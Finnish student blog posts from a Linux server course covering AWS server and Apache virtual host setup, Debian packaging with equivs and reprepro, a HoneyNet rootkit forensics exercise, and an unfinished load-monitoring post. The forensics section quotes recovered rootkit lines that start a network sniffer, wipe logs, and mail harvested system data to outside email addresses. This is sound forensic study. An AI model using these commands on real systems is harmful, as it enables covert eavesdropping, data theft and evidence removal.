Oman virtuaalipalvelimen pystytys pilveen (linux)

Tehtävänanto tällä kertaa:

h5. Tee nimipohjainen virtuaalipalvelin Apachelle (name based virtual hosting). Muista laittaa sekä http://www.example.com että example.com. Voit simuloida asiakkaan nimipalvelua muuttamalla /etc/hosts -tiedostoa.

Kokeile virtuaalipalvelinta (VPS). Voit vuokrata palvelimen esimerkiksi Linodelta, Amazonilta, DigitalOceanilta tai monista muista paikoista. Linodella ja Amazonilla saattaa olla ilmainen kokeilupaketti, DigitalOcean on halvin. Vaihtoehto: jos et jostain syystä halua vuokrata virtuaalipalvelinta, voit kokeilla tehdä oman vagrantilla.

http://www.linode.com/?r=16774ec53118157d3f5d6e9be9147875cdb167bb(associate-linkki, ilman: http://www.linode.com)

http://aws.amazon.com/vpc/

https://www.digitalocean.com/

Julkisia nimiä myynnissä

https://www.namecheap.com

https://www.gandi.net

Harjoittelua varten voit kokeilla myös http://www.dot.tk/

Domain name

Domainin omistin on ennaltaan ja se on ”fayhra.com”. Ostopaikkana toimi godaddy. Itsellä ei ole toistaiseksi ollut ongelmia heidän kanssaan, joskin GoDaddyn sivusto on epäselvä. Olen omistanut domainin muutaman vuoden, mutten ole tehnyt sillä vielä mitään. Tähän on tulossa muutos..

Virtual Private Server

Katsoin opettajan ehdottamat vaihtoehdot läpi. Digital Ocean ja Linode kiinnostivat, mutta Amazonilla on vuoden ilmainen kokeilu (jos käyttö ei ylitä rajoja). Tein tunnukset Amazonin AWS palveluun. Tänne on tarkoitus pystyttää linux virtuaalipalvelin.

Amazon Console

Amazon Console

Katson Amazonilta aloitus ohjeet.  Valitsen konsolista EC2 Virtual Servers in the Cloud ja seuraavasta ikkunasta Lauch Instance. Nyt pitää valita Amazon Machine Image (AMI) ja valitsen Ubuntun ”Ubuntu Server 14.04 LTS (HVM), SSD Volume Type 64-bit”. Seuraavasta ikkunasta valitaan resurssien määrä ja valitsen Micron, joka on ilmainen. Tein toisen tunnuksen kuten Amazon suositteli. Lisäsin myös kirjautumiseen Google autentikaattorin, eli hallintasivustolle kirjautuessa täytyy antaa puhelimen sovelluksesta koodi. Lisäsin ssh avauksen lisäksi http säännön. Lopulta painoin Launch, vielä piti ladata avainpari ssh:ta varten ja nyt kaiken pitäisi olla ”valmista”. Instansseissa näkyi nyt virtuaalipalvelin running tilassa. Satun olemaan nyt Windows 7 työasemalla. Yhteyden muodostukseen Windowsista löytyi tällaiset ohjeet, mutta noissa aluksi linkitetyissä ohjeissa on samat asiat. Putty-yhteyttä varten piti konvertoida ladatusta avainparista PuttyGenillä ppk päätteinen avain, tämäkin on opastettu noissa ohjeissa. Laitoin Puttyyn ohjeen mukaiset asetukset, mutta sain herjan ”server refused our key”. Käyttäjätunnuksena toimikin oletustunnus ja yritin käyttää aluksi itse luomaani tunnusta. Täytyy tutkia tuota myöhemmin.

Konfigurointi

Lamp

Nyt kun on päästy palvelimelle, niin päivitetään pakettivarastot sudo apt-get update ja asennetaan Lamp sudo apt-get install -y apache2 phpmyadmin mysql-server
Tein asetukset aiemmin tekemäni ohjeen mukaan.

Toisen käyttäjän luonti

Loin uuden käyttäjän adduser fayhra ja asetin oman nimeni Full Name kenttään. Kokeilin kirjautua puttyllä tuolle tunnukselle, mutta Amazon estää tämän ”Server refused our key”, joka viittaa siihen, että tarvitsen tälle käyttäjälle uuden ssh avaimen. Menen takaisin oppaita tutkimaan ja löydän ohjeet. En luettele komentoja nyt tähän, koska ne löytyy linkin ohjeesta selkeästi. Piti siis luoda uuden käyttäjätunnuksen kotihakemistoon .ssh kansio ja sinne authorized_keys tiedosto, jonne laitettiin amazonilta saatu public key eli julkinen avain ja asetettiin vielä tiedoston oikeudet oikeiksi. Tämän jälkeen yritän kirjautua uudelleen käyttäjänä fayhra Puttyllä, mutta saan edelleen saman herjan. Luen ohjeen läpi uudelleen ja huomaan, että tuo public key pitää ottaa puttygenin kautta kun vahingossa laitoin autorized_keys tiedostoon kryptatun avaimen. Käyn muokkaamassa authorized_keys tiedostoa ja yritän uudelleen. Onnistui! Lisäsin käyttäjälle sudo oikeudet sudo adduser fayhra sudo ja avasin Puttyllä uudelleen yhteyden fayhra käyttäjällä, sudo toimii.

Nimipalvelun käyttöönotto

Kirjauduin käyttäjänä fayhra ja loin public_html kansion kotihakemistooni mkdir public_html, sitten loin index.html tiedoston nano public_html/index.html ja laitoin sisällöksi:

<!doctype html>
<html lang="en">
<head>
 <meta charset="utf8">

 <title>Fayhra's site</title>
 <meta name="description" content="Fayhra's site">

 <link rel="stylesheet" href="css/styles.css?v=1.0">

</head>

<body>
 Hello visitor
</body>
</html>

Loin myös css kansion valmiiksi mkdir public_html/css. Katsoin Amazonin hallintapaneelista instanssin saaman ip-osoitteen ja menin selaimella katsomaan toimiiko sivut ”http://ip-osoite/~fayhra/index.html”. Toimii! Sitten pitäisi saada sivu näkymään verkkotunnuksen kautta.

Menin godaddy.com sivustolle, kirjauduin ja löysin täältä DNS Zone File osion, jonne sain laitettua Amazonin tarjoaman IP-osoitteen. www.fayhra.com näyttää nyt oletus apache sivua. Kopioin näin aluksi aiemmin luomani index html tiedoston tämän päälle nyt aluksi, koska oletussivu on riski, komento oli cp home/fayhra/public_html/index.html /var/www/html/index.html. 

Testasin vielä phpmyadminin toiminnan, http://www.fayhra.com/phpmyadmin toimi ja kirjautuminen onnistui asennuksessa annetuilla tunnuksilla.

Sitten pitäisi saada fayhra.com toimimaan eli ilman www. alkua. Tällä hetkellä esiin tulee tyhjä sivu. Loin ensin public_html kansion sisään fayhra.com kansion mkdir /home/fayhra/public_html/fayhra.com ja kopioin sitten index.html tiedoston kyseiseen kansioon cp /home/fayhra/public_html/index.html /home/fayhra/public_html/fayhra.com/index.html. Sitten loin fayhra.com tiedoston apachen asetustiedostoihin /etc/apache2/sites-available/ cd  /etc/apache2/sites-available/ ja sudoedit fayhra.com. Tiedoston sisällöksi tuli seuraavaa:

<VirtualHost *:80>
ServerName www.fayhra.com
ServerAlias fayhra.com
DocumentRoot /home/fayhra/public_html/fayhra.com
</VirtualHost>

Sitten yritin ottaa ottaa sivun käyttöön komennolla sudo a2ensite fayhra.com, mutta sain vain herjaa ERROR: Site fayhra.com does not exist! Googletus auttoi ja löysin täältä vinkin, että sites-available kansiossa olevan tiedoston pitää olla .conf päätteinen toimiakseen. Nimesin tiedoston uudelleen komennolla sudo mv fayhra.com fayhra.com.conf ja ajoin uudelleen sudo a2ensite fayhra.comTällä kertaa apache hyväksyi komennon ja pyysi ajamaan komennon service apache2 reload.

Menen kokeilemaan osoitetta fayhra.com ja se toimii. Myös http://fayhra.com/~fayhra/, http://www.fayhra.com/~fayhra/ ja http://www.fayhra.com/~ubuntu/ toimii. Ubuntu käyttäjän sivulla on php koodia, joka laskee 22+20 ja tulostaa tuloksen 42 eli myös php toimii. Tuo Ubuntu käyttäjän sivu pitäisi tosin saada pois, koska se on turha. Yksi vaihtoehto voisi olla käyttäjäkohtaisten sivujen ottaminen pois käytöstä ja kaikkien sivujen laittaminen /var/www/ kansioon kuten ”oletuksena” tehdään.

Nyt pitäisi sitten kehittää omat sivut…

Subdomain eli aliverkkotunnus

Ajattelin laittaa yhden aikaisemmin tekemäni sivuston aliverkkotunnuksen alle. Ensin menin godaddyn sivuille tekemään A recordin (en osaa suomentaa tätä) mud.fayhra.com, joka ei suinkaan viittaa mutaan vaan vanhaan tekstipohjaiseen pelityyppiin.  Sitten loin kansion kyseiselle sivustolle mkdir /home/fayhra/public_html/mud.fayhra.com. Kopioin ftp:n kautta aiemmin tehdyn sivuston palvelimelle /home/fayhra/public_html/mud.fayhra.com kansioon. Ohjeet ftp:n käyttöön alempana. Tämän jälkeen loin uuden tiedoston /etc/apache2/sites-available/ kansioon sudoedit mud.fayhra.com.conf ja sisällöksi tuli seurava:

<VirtualHost *:80>
ServerName mud.fayhra.com
DocumentRoot /home/fayhra/public_html/mud.fayhra.com
</VirtualHost>

Sen jälkeen komento sudo a2ensite mud.fayhra.com ja service apache2 reload. Sivusto ei ainakaan vielä näytä oikeaa tulosta vaan saman kuin pääsivusto, mutta DNS muutokseen voi mennä 24-48 tuntiakin. Jätän tämän syrjään huomiseen asti.

Seuraavana päivänä sivusto toimi, eli mud.fayhra.com osoitteesta tulee oikea sisältö. Sivu ei nyt toimi, koska tietokanta puuttuu vielä. Vaihdan sisällön tyhjäksi templateksi, koska vanha sisältö ja ulkonäkö ei miellytä. Teen tähän uudet sivut ja laitan kannan toimimaan myöhemmin.

FTP Amazonin palvelimelle

Nyt pitäisi saada tiedostot siirrettyä palvelimelle, joten otin selvää miten saan ftp yhteyden. Löysin tällaiset ohjeet. Otin yhteyden käyttäen Windows 7 työasemaa ja Filezilla ohjelmaa. Mene ohjelmassa: Muokkaa -> Asetukset -> Yhteys -> SFTP -> Lisää avaintiedosto -> OK -> Tiedosto -> Sivustonhallinta -> Isäntä kohtaan Amazonin kertoma julkinen IP-osoite -> Protokolla SFTP -> Kirjautumistyyppi Normaali -> Käyttäjänimeksi laitetaan joko oletustunnus tai luotu käyttäjä, itse laitoin fayhra -> Salasanaksi kirjautumisessa käytettävä salasana -> Yhdistä. Vielä pitää hyväksyä yhteys. Nyt vasemmalla näkyy paikallisen tietokoneen sisältö ja oikealla palvelimen.

Palvelimen suojaaminen hyökkäyksiltä

Ohjeita hakiessani törmäsin tähän toisen opiskelijan artikkeliin. Siinä kerrotaan fail2ban -ohjelmasta, joka auttaa estämään hyökkäyksiä. Päätin lisätä tämän suojan palvelimelleni. Kyseinen ohjelma siis estää ip-osoitteen, jos siitä yritetään kirjautua viisi kertaa epäonnistuneesti. Esto kestää aina 10 minuuttia. Asennus komennolla sudo apt-get install fail2ban ja ohjelma toimii saman tien oletusasetuksilla. Asetuksia voi muuttaa, ohjeet linkin takaa.

 

Paketinhallintaa

Pakettienhallintaa

Kurssimme aiheena tällä viikolla aiheena on pakettien hallinta.

Unelmien komentokehote

Saimme tunnilla tehtäväksi keksiä unelmien sudo apt-get rivin eli komennon, joka asentaisi kaiken tarpeellisen aina kerralla kun avaa vaikka live-linuxin tai vasta asennetun uuden tietokoneen.

Aikaa ei ollut paljoa, joten laitoin muutaman ensimmäiseksi mieleen tulleen asian: setxkbmap fi && timedatectl set-timezone Europe/Helsinki && sudo apt-key adv –keyserver hkp://keyserver.ubuntu.com:80 –recv-keys D2C19886 && echo deb http://repository.spotify.com stable non-free | sudo tee /etc/apt/sources.list.d/spotify.list &&sudo apt-get update && sudo apt-get install spotify-client && sudo apt-get -y install vlc

  • setxkbmap fi asettaa ensin näppäimistön suomen asettelulle
  • timedatectl set-timezone Europe/Helsinki asettaa aikavyöhykkeen Helsinkiin
  • Spotifyn asensin mielenkiinnosta. Ohjeet löytyy täältä.
  • Sitten asensin vielä aptilla vlc:n, tähän listaan voisi lisätä lisää ohjelmia.

Kotitehtävät

Kotitehtäväksi saimme seuraavaa:

h4:
– Tee metapaketti, joka asentaa suosikkiohjelmasi. Katso, että se menee läpi lintianista.
– Tee pakettivarasto repreprolla
– Paketoi jokin skriptisi, niin että paketti asentaa järjestelmän käyttäjille uuden käskyn

Vapaaehtoiset bonus-tehtävät:
– Kertaa Apachen asennus, käyttäjien kotisivujen teko ja lokin lukeminen
– Allekirjoita reprerolla tekemäsi varasto

Työvälineet

Harjoitukset tehdään Dell Optiplex 780 pöytätietokoneella johon on asennettu Xubuntu 14.04 LTS 64-bittisenä.

Metapaketti suosikkiohjelmille

Mietitään ensin mitä ohjelmia haluaisin aina asennettavan.

  • Skype
  • Chromium
  • Spotify
  • LibreOffice
  • VLC
  • Shotwell
  • Wine
  • Deluge

Tarkistetaan apt-cache search toiminnolla jokaisen paketin nimi. Skypeä ei saakaan ainakaan oletus repositoreista, se pitää ladata skypen sivuilta, joten jätetään se pois. Tarkistetaan Chromium paketti apt-cache search chromium | grep chromium. Oikea paketti on chromium-browser. Spotify vaatii repositoryn lisäyksen, joten jätetään se tästä suosikkipaketista pois. Libreoffice, VLC, Shotwell, Wine ja Deluge löytyvät omilla nimillään aptista.

Tunnilla käytiin näitä läpi, mutten harmikseni tehnyt muistiinpanoja. Google löytääkin opettajamme pika-ohjeet. Metapaketin tekoon tarvitsemme ainakin tehtävänannossa mainitun lintian -ohjelman paketin tarkastamiseen. Itse paketin tekoon käytimme tunnilla equivs -paketin tarjoamia työkaluja.

Ajetaan ensin sudo apt-get update pakettien päivittämiseksi. Asennetaan sitten equivs ja lintian komennolla sudo apt-get -y install equivs lintian gdebi.

Tehdään paketille oma kansio kotihakemistoon komennolla mkdir suosikit ja siirrytään hakemistoon komennolla cd suosikit. Katsotaan mitä komentoja ollaan saatu käyttöön equivs paketista dpkg –listfiles equivs. Selviää, että komentoja on equivs-control ja equivs-build. Katsotaan man sivua equivs-controlista ja selviää, että tämä kopioi pohjan control-tiedostosta, jota tarvitaan paketin luomiseen. Sitten tuota konfiguraatiotiedostoa on muokattava. Luodaan konfiguraatiotiedosto komennolla equivs-control meri-suosikit.cfg ja muokataan sitä nano meri-suosikit.cfg. Valmiina muokattu tiedosto näyttää tältä:

Section: misc
Priority: optional
Homepage: https://merimiettinen.wordpress.com/category/linux/
Standards-Version: 3.9.2

Package: meri-suosikit
Version: 1.0
Maintainer: Meri Miettinen <a1302387@myy.haaga-helia.fi>
Depends: chromium-browser, libreoffice, vlc, shotwell, wine, deluge
Recommends: chromium-browser-l10n
Description: This metapackage installs some of my favorite programs.
This package installs Chromium browser for web browsing, LibreOffice for document processing, VLC media player, Shotwell for quick photo editing, Wine for emulating Windows and Deluge for torrents.

Sitten ajetaan komento equivs-build meri-suosikit.cfg, joka luo paketin meri-suosikit_1.0_all.deb. Tarkistetaan paketti komennolla lintian meri-suosikit_1.0_all.deb, joka kertoo, että ”extended description line too long” eli pidennetty kuvaus on liian pitkä. Mennään muokkaamaan cfg tiedostoon muutama rivin vaihto (muista välilyönti rivin alkuun) sekä version korotus 1.0 -> 1.1 ja ajetaan equivs-build ja lintian komennot uudelleen. Nyt se meni onnistuneesti läpi. Asennetaan komennolla gdebi meri-suosikit_1.1_all.deb. Asennus jää pyörimään kun minun pitää lähteä.. jatkuu myöhemmin.

Pakettivaraston teko Reprepro:lla

Tähän tehtävään piti lähteä googlen kautta ja löysinkin opettajan ohjeet. Työkalun etu onkin siis keskitetty paketinhallinta.

Olen jo aikaisemmin päivittänyt pakettivarastot komennolla sudo apt-get update ja olen jo asentanut equivsin paketointia varten sudo apt-get install -y equivs. Olen asentanut myös LAMPin ja ottanut käyttöön käyttäjien omat sivut tällä tietokoneella jo aikaisemmin omien ohjeitteni mukaan. Asensin reprepro:n sudo apt-get install reprepro -komennolla. Asennuksen aikana piti lukea ja hyväksyä käyttäjäehdot. Tein opettajan ohjeen mukaan kansion public_html kansion sisään kaksi alikansiota: mkdir -p repository/conf ja loin sinne tiedoston distributions. Tiedoston sisällön malli oli seuraavanlainen:

Codename: lucid
Components: main
Suite: lucid
Architectures: i386 amd64 source

Halusin selvittää asiaa tarkemmin, vaikka onkin selvää, että lucid tulisi korvata trusty sanoilla (distron nimi). apt-cache show reprepro -> paketin tiedoissa on kotisivu ja sieltä löydän tämän how-to -ohjeen. Tästä varmistuu, että Codename tarkoittaa distron nimeä. Koodinimen voi tarkistaa täältä tai komennolla lsb_release -c. Tässätapauksessa koodinimi on siis trusty. Man sivulta selviää, että Suite -kohtaa ei tarvitse olla. Yleensä siinä on stable, unstalbe tai testing. Päätän jättää Suite -kohdan laittamatta. Pidetään muut kentät ennallaan. Tässä distribution tiedoston sisältö:

Codename: trusty
Components: main
Architectures: i386 amd64 source

Sitten kopioin aikaisemmassa tehtävässä luodun .deb pakettitiedoston kansioon /home/meri/public_html/, jonka jälkeen ajoin komennon reprepro -VVVV -b repository/ includedeb trusty meri-suosikit_1.1_all.deb. Muokkasin opettajan antamaa komentoa vähän: lucid -> trusty ja tietysti paketin nimeksi oma pakettini. Reprepron syöte näytti siltä, että kaikki meni hyvin. Kansiohakemistoon oli muodostunut uusia kansioita db, dists ja pool ja niiden sisälle tiedostoja.

Lisäsin sen pakettilistalle muokkaamalla tiedostoa sudoedit /etc/apt/sources.list.d/repository.list. Tiedostoon lisäsin rivin deb http://localhost/~meri/repository trusty main. Testasin vielä tämän eli sudo apt-get update ja sudo apt-get install meri-suosikit. Paketti löytyi, mutta kaikki oli jo asennettuna.

Skriptin teko ja paketointi

Käytin tähän aikaisemmin kokeilemaani scriptiä.

#!/bin/bash
print_perm() {
  case "$1" in
    0) printf "NO PERMISSIONS";;
    1) printf "Execute only";;
    2) printf "Write only";;
    3) printf "Write & execute";;
    4) printf "Read only";;
    5) printf "Read & execute";;
    6) printf "Read & write";;
    7) printf "Read & write & execute";;
  esac
}

[[ ! -e $1 ]] &&  echo "$0 <file or dir>" 2>&1 && exit 1

perm=$(stat -c%a "$1")
user=${perm:0:1}
group=${perm:1:1}
global=${perm:2:1}

echo "Permissions :"
printf "\tOwner Access: $(print_perm $user)\n"
printf "\tGroup Access: $(print_perm $group)\n"
printf "\tOthers Access: $(print_perm $global)\n"

Loin kotihakemistoon kansion mkdir scripts. Loin sinne tiedoston skritptiä varten nano rights-query, liitin yllä olevan skritpin sinne ja tallensin muutokset. Sitten täytyy muokata tiedoston oikeuksia eli tarvitaan execute oikeuksia. Löysin tälläisen näppärän työkalun chmod komennon parametrien määrittelyyn. Tarkistin myös, mitä toinen opiskelija oli tehnyt. 700 parametri näyttää antavan ownerille kaikki oikeudet. Ajetaan siis komento chmod 700 rights-query. Ajoin scriptin testiksi ./rights-query rights-query ja se toimii kertoen tiedoston oikeudet:

meri@p01:~/scripts$ ./rights-query rights-query
Permissions :
Owner Access: Read & write & execute
Group Access: NO PERMISSIONS
Others Access: NO PERMISSIONS

Sitten täytyy lisätä skripti pakettiin. Teen uuden paketin. equivs-control skripti.cfg ja sitten muokkaamaan nano skripti.cfg.

Section: misc
Priority: optional
Standards-Version: 3.9.2
Package: oikeus-skripti
Version: 1.0
Maintainer: Meri Miettinen <a1302387@myy.haaga-helia.fi>
Files: rights-query /usr/bin/
Description: Rights query for any file
 This script shows rights for any file that you
 give as a parameter

Sen jälkeen ajetaan equivs-build skripti.cfg, paketin luonti onnistui. Lintian antoi herjan man-sivun puuttumisesta, mutta ei nyt tehdä sitä. Tämän jälkeen asensin deb pakettini komennolla  sudo gdebi oikeus-skripti_1.0_all.deb ja testasin komentoa rights-query package/

meri@p01:~$ rights-query
/usr/bin/rights-query <file or dir>
meri@p01:~$ rights-query package/
Permissions :
Owner Access: Read & write & execute
Group Access: Read & write & execute
Others Access: Read & execute

Kirjauduin ssh:lla vielä aikaisemmin luodulle perustunnukselle ssh maitomai@localhost (edellyttää ssh olevan asennettuna). Komento toimi käyttäjällä!

maitomai@p01:~$ rights-query public_html/
Permissions :
Owner Access: Read & write & execute
Group Access: Read & write & execute
Others Access: Read & execute

Rosvoja ja kunnon kansalaisia

Haittaohjelmalla saastuneen levykuvan tutkiminen

Tällä kertaa tutkimme saastunutta levykuvaa.

Tehtävänanto

h3. Ratkaise HoneyNet Scan of the Month 15. http://old.honeynet.org/scans/scan15/

Käsittele oikeita haittaohjelmia sisältävää kuvaa huolella, äläkä vie sitä tärkeille tuotantokoneille. Ratkaisut tehtävän selviävät levykuvasta, mitään ulkopuolisia järjestelmiä ei saa häiritä.

Raportoi, kuinka ratkaiset tehtävän.

Vastaa tehtävänannon kysymyksiin:
– “Show step by step how you identify and recover the deleted rootkit from the / partition.”
– What files make up the deleted rootkit?

Lisätehtävinä voit halutessasi vastata:
– “Bonus Question: Was the rootkit ever actually installed on the system? How do you know?”
– Mitä tekijään viittaavia tietoja levykuvasta löytyy?
– Selitä vaiheittain, miten rootkit toimii.

Toteutus

Ensin kävin lataamassa tehtävänannossa annetusta linkistä tuon tiedoston koneelle.

Harjoitus tehdään työasemalla, jolle on asennettu Xubuntu 14.04 LTS Desktop aikaisemmin. Olen jo aikaisemmin ajanut komentoja kuten sudo apt-get update, joten paketit ovat ajantasalla. Tietokoneen rauta on seuraavanlaista:
Emolevy: Asus M3N78 PRO
Prosessori: AMD Phenom 9859 Quad Core
Ram: 4GB DDR2 800MHz
Näytönohjain: Nvidia GeForce 8200
Kovalevy: WD 320G

En tiennyt suoraan miten tätä lähtisi lähestymään, joten lueskelin tuolta honeynetistä Forensic Challengea. Tämä nyt ei suoranaisesti avannut asiaa.

Menin komentokehotteella Downloads kansioon ja tein sinne uuden kansion komennolla mkdir saasta.  Siirsin ladatun tiedoston kyseiseen kansioon komennolla mv honeynet.tar.gz saasta/. Purin tiedoston komennolla tar -xf honeynet.tar.gz. Siirryin kansioon honeynet. Kansiossa honeypot.hda8.dd ja README tiedostot.

Tarvittavien ohjelmien asennus ja käyttöönotto

Tässä vaiheessa päätin asentaa ohjelman levykuvan tutkimiseen. Googlella löysin muiden töitä ja sleuthkit oli yleinen työkalu. Asennetaan komennolla: sudo apt-get install sleuthkit. apt-cache show sleuthkit kertoo kotisivun ja suunnistan sinne lisäohjeita hakemaan. He suosittelivat käyttämään autopsyä, joka antaa siis graafisen käyttöliittymän tälle ohjelmalle. sudo apt-get install autopsy asentaa autopsy:n koneelle ja ajan sen kirjoittamalla autopsy. Ohjelma kehottaa avaamaan selaimen osoitteeseen http://localhost:9999/autopsy. Otan vielä javascriptin pois päältä ennen avaamista. Sivu ei kuitenkaan auennut vaan sain unable to connect -herjan. Googletin tämän ja selvisi, että tämä ohjlema on ajettava sudona. Kirjoitin konsoliin sudo autopsy ja sen jälkeen toimi.

Screenshot - autopsy1

Autopsy etusivu

Valitsin ”New Case” ja kirjoitan nimen sekä kuvauksen tutkimukselle. Lopuksi painan new case.

Screenshot - autopsy2

Nyt Autopsy pyytää tarkempaa tietoa tapauksesta. Annan host name -kohtaan tietokoneen nimen ja jätän muut tyhjäksi ja painan add host. Sitten Autopsy pyytää imagea. Painan ”Add image file”. Seuraavassa ikkunassa pitää antaa polku tiedostoon. Muut asetukset pidin ennallaan ja valitsin Next.

Screenshot - autopsy3

Sitten tulee varoitus ettei volyymin tyyppiä saatu selville.

Varoitus

Varoitus

Menen takaisin tehtävänantoon ja huomaan, että edellisessä kohdassa olisi pitänyt valita partition. Painan Ok ja seuraavasta Cancel. Pääsen lisäämään levykuvan uudelleen ”Add Image File”. Tällä kertaa valitsen partition ja valitsen next. Nyt ei tullut herjaa.  Seuraavan kohdan ohitan oletuksilla ja sitten päästäänkin itse asiaan.

Screenshot - autopsy6

Tästä päätän kokeilla Analyze vaihtoehtoa ja seuraavasta valitse file analysis.

 

Levykuvan juuri

Levykuvan juuri

Piti siis etsiä poistettu rootkit. Nuo punaiset poistetut tiedotot tietysti herättävät epäilystä. Toinen on 0KB, mutta toinen tiedosto on suuri. Selaan kansioita läpi monen minuutin ajan etsien muita mielenkiinnon herättäjiä.

OrphanFiles

OrphanFiles kansio oli yksi kiinnostuksen kohde. Google vei minut Sleuthkitin Wiki sivulle ja sieltä selvisi, että kyseinen kansio sisältää poistettujen tiedostojen dataa, jota kovalevyllä ei ole vielä ylikirjoitettu. Täältähän voisi siis löytyä nuo oleelliset osat.

Järjestän nuo tiedostot ”Written” sarakkeen mukaan ja yksi tiedosto OrphanFile-2039
on päivätty lähes vuotta myöhemmin kuin muut tiedostot. Kyseisen tiedoston Accessed ja Changed päivämäärät ovat aikaisemmalta ajankohdalta kuin tämä written. Painan ASCII – Report nappia saadakseni tiedot suurempaan ikkunaan.  Selaan merkkimössöä alaspäin ja lopulta törmään luettavaan tekstiin. Tämä vaikuttaa ihan selvästi hämärältä.

Screenshot - autopsy8

Ihan kuin tämä olisi konsolin tekstiä tai lokia, yhteyksien avauksia, epäonnistuneita kirjautumisia sun muuta. Selaan alemmas ja silmäilen tekstiä. Seuraavaksi järjestän tiedostonäkymän tiedoston koon mukaan (Size) ja valitsen Report suurimmasta tiedostosta OrphanFile-2061. Tämä tiedosto oli sisällöltään vastaavanlainen. Selasin tiedostoja ja osuin yhteen, jonka sisältö on seuraava:

OrphanFile-2059

Contents Of File: /1/$OrphanFiles/OrphanFile-2059


killall -9 linsniffer
rm -rf tcp.log
touch tcp.log
./linsniffer >tcp.log &

Tässä voisi olla jälkiä haittaohjelman olemassa olosta. Linsniffer tutkii verkkoliikennettä. Sitten on poistettu tcp.log ettei jää jälkiä ja muokattu tcp.login päivämäärää touchilla.  Jatketaan tiedostojen kahlaamista..

Linsniffer

Linsniffer

OrphanFile-2047:sta löytyi taas maininta Linsnifferistä ja myöskin tekijän nimi sekä sähköpostiosoite. Tässä tiedostossa on Perl koodia eli tämän täytyy olla osa haittaohjelmasta. Pengotaan vielä loput tiedostot.

# Sorts the output from LinSniffer 0.03 [BETA] by Mike Edulla <medulla@infosoc.com>

OrphanFile-2043 on jälkien poistoon tarkoitettu scripti. Lopussa on saksankielellä ”kaikki on puhdistettu mestari” noin vapaasti käännettynä:

echo "${BLK}* ${DWHI}Alles sauber mein Meister !'Q%&@$! ${RES}"

OrphanFile-2041 oli myös scripti. Tämän lopussa on kaksi sähköpostiosoitetta lisää ja  espanjankielellä ” Cat!  … Wait please mail delivery” ja  ”I sent mail … delete files you no longer need.” Lopussa on vielä mainittu nuo tämän levyn juuressa olleet poistetut tiedostot ja niiden poistokomento. Tämän täytyy olla viimeinen osa.

echo "* Gata ! Trimitem Mailul ...Asteapta Te Rog "
cat computer | mail -s "placinte" last@linuxmail.org
cat computer | mail -s "roote" bidi_damm@yahoo.com
echo "* Am trimis mailul ... stergem fisierele care nu mai trebuie ."

rm -rf last lk.tgz computer lk.tar.gz

Vilkuilin vielä muihin kansioihin ja /etc kansion alla oli ”mtab” ja ”mtab.tmp” tiedostot poistettu hyökkäyksen aikaan. Lisäksi siellä oli uusi mtab tiedosto. Poistetun mtab tiedoston sisältö on poikkeava ja sisältää hälyyttäviä sanoja kuten linsniffer. Googletan mtab tiedoston tarkoituksen ja se listaa kaikki liitetyt tiedostojärjestelmät.

3 sl2
3 sshdu
3 linsniffer
3 smurf
3 slice
3 mech
3 muh
3 bnc
3 psybnc

Tämä on merkki siitä, että rootkit on ollut asennettuna. /etc/pam.d/ kansiosta löytyi vielä poistettu passwd tiedosto, jonka sisältö oli tosin sama kuin olemassa olevankin tiedoston.

Yhteenveto

Tarkasteltiin Autopsy -ohjelmalla levykuvaa ja eteenkin poistetut tiedostot olivat noita haittaohjelman käyttämiä. Haittaohjelma oli siis peittänyt jälkiään.

Yllä on listattu löydettyjä osia. Aika ei riittänyt tämän tutkimiseen pidempään, jotta oltaisi voitu saada selkeä kuva ohjelman toiminnasta ja sen sisältämistä tiedostoista.

Lisätehtävät:
Mielestäni Rootkit oli asennettuna, koska se oli ylipäätään mennyt niin pitkälle, että se oli poistanut itsensä. Eihän se olisi poistanut, jossei olisi asentunut, koska ei olisi poistettavaa. OrphanFiles-2039 ja 2061 Asciin seasta varmaan löytyisi vielä lisävahvistusta. Lisäksi /etc kansiossa oli yllä mainittu mtab tiedosto ja /etc/pam.d/ kansiossa poistettu passwd tiedosto.

Levykuvasta löytyi yhteensä 3 sähköpostiosoitetta, joista kahta käytettiin tietojen välittämiseen kaapatulta tietokoneelta murtautujalle.

Linux järjestelmän tilan seuraaminen ja kuormitus

Haaga-Helia Linux palvelimena kurssin toteutus 17, ict4tn003-17, kotitehtävä 2

Tehtävänanto:

– Kerää kuormitustietoja munin – ohjelmalla
– Kuormita konetta stress:llä
– Käytä tunnilla käytyjä työkaluja arvioidaksesi kuormitusta: cpu, mem, io…
– Lopuksi analysoi munin keräämiä käyriä
– Aiheuta valitsemaasi lokiin muutamia rivejä ja analysoi niistä 2-3 riviä perusteellisesti

Vapaaehtoisia lisätehtävä:
– Valvo Nagioksella ja aiheuta hälytys
– Kokeile jotain yli ajan tilatietoja tallentavaa ohjelmaa (muuta kuin munin)

Vapaaehtoisia lisätehtäviä jatkuu:
– Kirjoita oma ohjelma, joka näyttää tilatietoja Linuxissa (esim vapaa muisti, prosessorien lukumäärä…). Tehtävää helpottavat /proc/ ja /sys/, joten riittänee, kun osaat lukea tekstitiedostoja.

Toteutus

Harjoitus tehdään työasemalla, jolle on asennettu Xubuntu 14.04 LTS Desktop aikaisemmin. Olen jo aikaisemmin ajanut komentoja kuten sudo apt-get update, joten paketit ovat ajantasalla. Tietokoneen rauta on seuraavanlaista:
Emolevy: Asus M3N78 PRO
Prosessori: AMD Phenom 9859 Quad Core
Ram: 4GB DDR2 800MHz
Näytönohjain: Nvidia GeForce 8200
Kovalevy: WD 320GB

Munin -ohjelman asennus

Etsitään mitä eri paketteja löytyy sanalla Munin ajamalla apt-cache search munin ja asennetaan peruspaketti komennolla sudo apt-get install muninOhjelman asennuttua katsoin ohjelman manuaalia man munin. Ohjelman saa näkyviin Firefox selaimeen kirjoittamalla osoiteriville /var/cache/munin/www/index.html. Ohjelmasta löytyy kategorioita eri valvontakohteille.

Stress

Asennetaan stress -ohjelma, jotta saadaan järjestelmää kuormitettua sudo apt-get install stress htop. Samalla asennetaan myös htop, joka on versio top-ohjelmasta. Top -ohjelma on tarkoitettu prosessien resurssien kulutuksen seuraamiseen.  Käynnistetään stress komennolla stress –cpu 8 –io 4 –stress –cpu 8 –io 4 –vm 2 –vm-bytes 512M –timeout 1m. ”-cpu 8” parametri käynnistää 8 prosessia kuormittamaan cpu:ta, ”-io 4” kuormittaa io-väylää, ”-vm 2 –vm-bytes 512M” kuormittaa muistia 2 prosessilla, joista kukin on 512M ja ”timeout 1m” asettaa aikakatkaisun minuuttiin.

Screenshot - htop

htop näkymä stress-ajon aikana

Analyysiä

htop

